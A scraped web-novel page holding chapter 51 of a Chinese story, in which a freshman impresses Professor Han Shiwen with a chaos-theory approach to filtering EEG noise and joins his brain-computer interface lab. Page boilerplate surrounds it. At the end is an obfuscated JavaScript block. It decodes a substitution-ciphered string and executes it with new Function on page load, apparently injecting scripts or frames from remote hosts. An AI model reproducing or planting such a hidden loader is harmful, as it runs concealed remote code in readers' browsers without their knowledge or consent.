首页
第51章:韩世文教授
返回
关灯 护眼:关 字号:小

第51章:韩世文教授

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    第51章:韩世文教授(第1/2页)
    2005年5月10日,周二下午,两点整。
    清华大学医学院楼,三层阶梯教室。
    林煜坐在最后一排的角落里,手里拿着借来的《神经科学原理》教材,笔记本上已经密密麻麻记满了笔记。
    这是生物医学工程系的专业课:《神经信号处理》,授课老师是韩世文教授。
    林煜虽然是双学位,但按照课程安排,这门课应该是大二才上。但他等不了,他需要提前学习,需要尽快掌握脑机接口的核心知识。
    所以从这学期开始,他每周二下午都会来旁听这门课。
    教室里坐着四十多个学生,大部分是生医工程大二的,也有几个研究生。林煜坐在最后面,尽量不引起注意,只是安静地听课,记笔记。
    讲台上,韩世文教授正在讲解脑电信号的基本原理。
    韩教授五十多岁,头发花白,戴着一副金丝眼镜,说话语速不快,但每一个字都很清晰,很有力量。他是清华生医工程系的知名教授,国内脑机接口领域的先驱之一,发表过上百篇SCI论文,主持过多项国家级科研项目。
    “同学们,我们继续讲脑电图,也就是EEG。“韩教授在黑板上画了一个简单的示意图,“EEG是通过头皮电极,记录大脑神经元群体活动产生的电信号。这些信号非常微弱,通常只有几十微伏,而且淹没在各种噪声中。“
    他转过身,看着台下的学生:
    “那么问题来了:如何从这些噪声中,提取出真正有用的脑电信号?换句话说,如何提高EEG信号的信噪比?“
    教室里安静了几秒。
    这是一个开放性问题,没有标准答案,但也是脑机接口研究中最核心的问题之一。
    韩教授扫视了一圈,没有人举手。
    “没有人想试试吗?“他笑了笑,“这可是脑机接口领域最重要的问题之一。“
    还是没有人举手。
    大部分学生低着头,有的在翻书,有的在看笔记,都不敢和教授对视。
    林煜坐在最后一排,盯着黑板上的示意图。
    他的“规则视野“自动启动了。
    那些抽象的波形图,在他的脑海中变成了真实的、流动的能量场。他“看见“了神经元的放电,看见了电信号在突触间跳跃,看见了那些微弱的电位差如何叠加、传播,最终被头皮电极捕获。
    他也“看见“了噪声。
    肌肉活动产生的肌电干扰,眼球转动产生的眼电干扰,环境中的50Hz工频干扰,甚至心脏跳动产生的心电干扰……这些噪声,像一层厚厚的迷雾,遮盖住了真正的脑电信号。
    传统的方法,是用线性滤波器,比如带通滤波器,高通滤波器,把特定频率范围内的信号保留下来,其他的过滤掉。
    但林煜知道,这样做有问题。
    因为大脑不是线性系统。
    大脑是一个高度复杂的非线性动力学系统,神经元之间的相互作用,产生的是非线性的、混沌的信号模式。如果用线性滤波器,会损失大量的信息,甚至会引入新的失真。
    那应该怎么办?
    林煜想起了他在物理系学的混沌理论,想起了非线性动力学,想起了……
    他的手不自觉地举了起来。
    韩教授看到了最后一排举起的手,有些意外:“这位同学,请说。“
    所有人都转过头,看向林煜。
    林煜站起来,有些紧张,但声音还算平稳:
    “韩教授,我认为可以用物理学的非线性滤波方法。“
    “非线性滤波?“韩教授来了兴趣,“请继续。“
    “大脑不是线性系统,传统的线性滤波器会损失信息。“林煜深吸一口气,继续说,“如果我们把脑电信号看作一个非线性动力学系统,用混沌理论建模,就可以设计自适应的非线性滤波器。“
    教室里有人开始窃窃私语。
    韩教授抬起手,示意大家安静,然后看着林煜:“很有意思。具体怎么做?“
    林煜走到黑板前,拿起粉笔,开始写:
    “首先,我们可以用相空间重构,把一维的时间序列转换成多维的轨迹。“
    他画了一个简单的示意图:
    “然后,用Lyapunov指数判断信号的混沌特性。如果信号是混沌的,说明它包含了真实的脑电成分;如果是随机的,说明它是噪声。“
    韩教授眼睛亮了。
    “接下来,我们可以用非线性预测算法,比如局部线性预测,或者神经网络,来预测下一个时刻的信号。“林煜继续写,“噪声是不可预测的,但真实的脑电信号,即使是混沌的,也有短期可预测性。通过预测误差,我们可以把信号和噪声分离开。“
    写完最后一个公式,林煜放下粉笔,转身看着韩教授。
    教室里鸦雀无声。
    所有人都盯着黑板上那些复杂的公式,有些人看懂了,有些人完全蒙了。
    韩教授走到黑板前,仔细看着林煜写下的推导,眼神越来越亮。
    “相空间重构……Lyapunov指数……局部线性预测……“他喃喃自语,然后转过身,看着林煜,“这位同学,你叫什么名字?“
    “林煜。“
    “哪个系的?“
    “物理系,双修生医工程。“林煜说,“我才大一,这门课是来旁听的。“
    韩教授愣了一下,然后笑了:“大一?旁听?“
    “是的,老师。“
    “很好。“韩教授拍了拍林煜的肩膀,“你的想法非常好。混沌理论在脑电信号处理中的应用,确实有很大潜力,但目前国内研究得还不多。你是怎么想到这个的?“
    “我……我在物理系学过非线性动力学。“林煜说,“我觉得大脑的活动,应该是非线性的,所以想试试能不能用混沌理论来处理。“
    “非常好的直觉。“韩教授点点头,然后转向全班,“同学们,这就是跨学科思维的价值。物理学和生物医学工程的结合,往往能碰撞出意想不到的火花。“
    他看着林煜:“林煜,下课后来找我一下,我有话跟你说。“
    “好的,老师。“
    林煜回到座位上,心跳还在加速。
    周围的同学都在看他,有惊讶,有羡慕,也有质疑。
    一个坐在前排的男生转过头,小声说:“旁听的大一学生?牛啊。“
    另一个女生说:“他说的那些,我都没听懂。“
    林煜低下头,假装整理笔记,但手心已经渗出了汗。
    他第一次在这么多人面前发言,第一次在教授面前展示自己的想法,第一次感受到,自己的“规则视野“不是诅咒,而是真正有用的能力。
    下课铃响了,学生们陆续离开教室。
    林煜走到讲台前,韩教授正在收拾讲义。
    “韩老师。“林煜说。
    韩教授抬起头,笑了:“来了。走,去我办公室聊。“
    两人走出教室,穿过走廊,来到医学院楼五层的一间办公室。
    (本章未完,请点击下一页继续阅读)第51章:韩世文教授(第2/2页)
    办公室不大,但很整洁。书架上摆满了专业书籍和期刊,墙上挂着几张脑电图和fMRI图像,桌上放着一台电脑和一堆待批改的作业。
    “坐。“韩教授指了指沙发,自己也坐了下来。
    林煜有些拘谨地坐下,手放在膝盖上。
    “林煜,你对脑机接口感兴趣?“韩教授开门见山地问。
    “非常感兴趣。“林煜点头。
    “为什么?“
    林煜沉默了几秒,然后说出了实话:
    “我妈妈是植物人,脑动脉瘤破裂,已经昏迷两年了。医生说她苏醒的概率不到10%,但我不想放弃。“
    韩教授的表情严肃起来。
    “我想研究脑机接口,想理解大脑,想找到唤醒植物人的方法。“林煜继续说,“我知道这很难,可能我一辈子都做不到,但我想试试。“
    办公室里安静了几秒。
    韩教授看着眼前这个清瘦的少年,看着他眼中的坚定,慢慢点了点头。
    “林煜,我理解你的心情。“韩教授说,“但我必须告诉你实话:植物人的苏醒机制,是世界性的难题。目前的脑机接口技术,还远远做不到唤醒昏迷患者。“
    “我知道。“林煜说,“但总要有人去做,对吗?“
    “对。“韩教授笑了,“你的心态很好。科研就是这样,明知道很难,甚至可能一辈子都看不到结果,但还是要去做。“
    他站起来,走到书架前,拿出一本厚厚的书:《Brain-ComputerInterfaces:PrinciplesandPractice》。
    “这是脑机接口领域的经典教材,你看过吗?“
    “看过一部分。“林煜说,“但有些地方看不太懂。“
    “正常,这本书很难。“韩教授把书递给林煜,“送给你了,回去好好看。不懂的地方,随时来问我。“
    “谢谢老师!“林煜接过书,像是接过一件珍宝。
    “林煜,我想问你一个问题。“韩教授重新坐下,“你愿意来我的实验室吗?“
    林煜愣住了:“我……我才大一。“
    “我要的不是年级,是能力。“韩教授说,“今天课上,你展示的思维方式,已经超过很多研究生了。非线性滤波在脑机接口中的应用,这是一个很好的研究方向,我希望你能加入我的团队,一起做这个课题。“
    林煜的心跳加速了。
    韩世文教授的实验室,是清华脑机接口研究的核心团队之一,能进去的,都是博士生或者特别优秀的硕士生。一个大一的本科生,想都不敢想。
    但现在,教授亲自邀请他。
    “老师,我……“林煜有些激动,不知道该说什么。
    “别急着回答。“韩教授说,“我知道你课程很重,双学位的压力很大。所以我不要求你全职在实验室,你可以利用课余时间来,做一些力所能及的工作。“
    “我可以!“林煜立刻说,“老师,我可以的!我有时间!“
    韩教授笑了:“那好,从下周开始,你每周来实验室两次,周三下午和周六上午。我会安排一个师兄带你,先熟悉设备和流程。“
    “好的,谢谢老师!“林煜站起来,深深地鞠了一躬。
    “别谢我。“韩教授说,“科研是双向选择,你能给实验室带来新的思路,实验室也能给你提供平台。这是互利的。“
    走出办公室,林煜抱着那本厚厚的教材,站在走廊里,看着窗外的清华园。
    五月的清华,绿树成荫,阳光洒在草地上,一切都充满了生机。
    他终于进入了脑机接口的核心圈,终于有机会接触最前沿的技术,终于离母亲的苏醒更近了一步。
    林煜拿出手机,想给家里打电话,想告诉姐姐和父亲这个好消息。
    但他停住了。
    现在还不是时候。
    他要等到真正做出成果,真正看到希望,再告诉母亲:
    妈,我找到救你的路了。
    晚上,宿舍。
    “煜哥,你今天怎么这么高兴?“薛南风看着林煜,好奇地问。
    “有好事。“林煜笑着说,“我进了韩世文教授的实验室。“
    “什么?!“三个室友都惊呆了。
    “韩世文?那个脑机接口的大牛?“黎川推了推眼镜,“他的实验室,一般只要博士生啊!“
    “对啊煜哥,你才大一,怎么进去的?“郑子昂也很惊讶。
    “今天上课的时候,我回答了一个问题,韩教授觉得还行,就邀请我了。“林煜轻描淡写地说。
    “还行?“薛南风跳下床,“煜哥,你这叫还行?你这是牛逼!“
    “真的很厉害。“黎川认真地说,“林煜,你知道进韩教授的实验室意味着什么吗?那意味着你有机会接触国内最前沿的脑机接口技术,有机会参与国家级的科研项目,甚至有机会发顶刊论文!“
    “我知道。“林煜点点头,“所以我会好好珍惜这个机会。“
    “煜哥,这得庆祝!“薛南风说,“走,今晚我请客,咱们去校外吃火锅!“
    “对,必须庆祝!“郑子昂也说。
    “那好吧。“林煜笑了,“不过别太贵,我请你们就行。“
    “得了吧煜哥,今天我们请你!“薛南风说,“你进了韩教授的实验室,这可是大事!“
    四个人换了衣服,走出宿舍,向校门口走去。
    五月的夜晚,空气清爽,星星在天空中闪烁。
    林煜走在其中,看着身边说笑的室友,心里涌起一股暖流。
    他想起母亲,想起姐姐,想起小虎,想起所有关心他的人。
    他在心里默默地说:
    妈,我又向前走了一步。
    我进了实验室,我可以学真正的脑机接口技术了。
    我会好好学,好好做,总有一天,我会找到救你的方法。
    您等我,一定要等我。
    (本章完)
    【本章看点】
    学术能力的展现:林煜第一次在课堂上展示自己的跨学科思维,用物理学的混沌理论解决生物医学问题,震惊全班。
    “规则视野“的价值:林煜的特殊能力,第一次不是负担,而是真正的优势。他能“看见“别人看不见的规律,这是他的天赋。
    韩教授的慧眼:一个好的导师,能看出学生的潜力。韩教授不在乎林煜的年级,只在乎他的能力和热情。
    机会的降临:林煜终于进入了脑机接口的核心圈,这是他改变命运的关键一步。从旁听生到实验室成员,这是质的飞跃。
    动机的纯粹:林煜不是为了发论文,不是为了评奖,而是为了救母亲。这种纯粹的动机,让他的学术之路更加坚定。
    跨学科的力量:物理+生医工程的结合,产生了意想不到的化学反应。这也是本书的核心主题之一:当物理成为修行,当科学成为救赎。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();